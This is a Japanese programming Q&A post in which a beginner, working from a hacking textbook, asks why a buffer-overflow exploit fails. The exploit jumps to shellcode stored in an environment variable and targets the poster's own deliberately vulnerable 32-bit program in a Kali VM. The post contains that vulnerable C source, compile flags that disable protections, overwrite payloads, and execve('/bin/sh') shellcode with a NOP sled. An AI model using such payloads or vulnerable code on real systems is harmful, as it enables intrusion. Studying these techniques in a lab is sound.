問題・実現したいこと
Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際を参考に、バッファオーバーフローを利用して、環境変数に格納したシェルコードを実行したいと考えています。
EIPを奪い環境変数にコードを格納することはできたのですが、実行することができません。
問題点と解決方法を教えていただけると嬉しいです。
環境は
hostOS : windows10 64bit
guestOS(virtual box) : Linux kali 5.7.0-kali1-amd64
CPU : core i7-2670QM
メモリ : 8GB
です。
前提
バッファオーバーフロー脆弱性を持つソースコード(/media/sf_share/ctf/ctest/bof3.c)を以下の通り作成しました。
[hoge@kali] /media/sf_share/ctf/ctest % cat ./bof3.c #include <stdio.h> #include <stdlib.h> #include <string.h> void jmphere(char* v) { printf("jumped\n"); } void vuln(){ char a[32]; printf("give me a word.\n"); gets(a); printf("You typed %s\n", a); printf("jumping to 0x%x !\n",__builtin_return_address(0)); } int main(int argc, char *argv[]) { vuln(); return 0; }
これを以下のようにコンパイルしました。
[hoge@kali] /media/sf_share/ctf/ctest % gcc -m32 -g -O0 -fno-stack-protector -z execstack ./bof3.c -o ./bof3 ./bof3.c: In function ‘vuln’: ./bof3.c:12:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 12 | gets(a); | ^~~~ | fgets /usr/bin/ld: /tmp/ccAhKY66.o: in function `vuln': /media/sf_share/ctf/ctest/./bof3.c:12: 警告: the `gets' function is dangerous and should not be used.
ASLRは無効にしてあります。
[hoge@kali] /media/sf_share/ctf/ctest % sudo sysctl -w kernel.randomize_va_space=0 [sudo] hoge のパスワード: kernel.randomize_va_space = 0
gdbでリターンアドレスまでのオフセット(44byte)とjmphereのアドレス(0x565561b9)を確認し、EIPが奪えることを確認しました。
[hoge@kali] /media/sf_share/ctf/ctest % python -c 'print("a"*44+"\xb9\x61\x55\x56")'|./bof3 give me a word. You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aUV jumping to 0x565561b9 ! jumped zsh: done python -c 'print("a"*44+"\xb9\x61\x55\x56")' | zsh: segmentation fault ./bof3
発生している問題・エラーメッセージ
次にnopスレッドおよびシェルコードを環境変数MYSHELLCODEに格納し、/bin/shの起動を試みました。
シェルコードはここから持ってきました。
[hoge@kali] /media/sf_share/ctf/ctest % cat ./env_shellcode-2.sh #!/bin/sh nopsled=$(perl -e 'print "\x90"x200') shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" total=$nopsled$shellcode export MYSHELLCODE=$(echo $total) echo $MYSHELLCODE |xxd [hoge@kali] /media/sf_share/ctf/ctest % source env_shellcode-2.sh 00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000c0: 9090 9090 9090 9090 31c0 5068 2f2f 7368 ........1.Ph//sh 000000d0: 682f 6269 6e89 e389 c189 c2b0 0bcd 8031 h/bin..........1 000000e0: c040 cd80 0a .@...
gdbでMYSHELLCODEのアドレスを確認し、付近に処理を飛ばすことでシェルコードの実行を試みましたが、上手くいきませんでいた。
以下のように/bin/shは起動せず、処理が正常に終了するのみでした。
問題点と解決方法を教えていただけると嬉しいです。
gdb-peda$ x/10s $esp+1900 (省略) 0xffffdea2: "MYSHELLCODE=", '\220' <repeats 188 times>... 0xffffdf6a: '\220' <repeats 12 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v1\300@" (省略) gdb-peda$ q [hoge@kali] /media/sf_share/ctf/ctest % python -c 'print("a"*44+"\xe2\xde\xff\xff")'|./bof3 give me a word. You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���� jumping to 0xffffdee2 !
拙い文章、技術で申し訳ありませんが、どうぞよろしくお願いいたします。
補足
私は情報系ではない大学院生で、かつプログラミング歴もコンピュータの知識も浅いため、初心者にもわかりやすい説明をいただけると非常にありがたいです。
回答1件
あなたの回答
tips
プレビュー
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。
2020/08/19 11:28
2020/08/19 12:23 編集
2020/08/21 09:17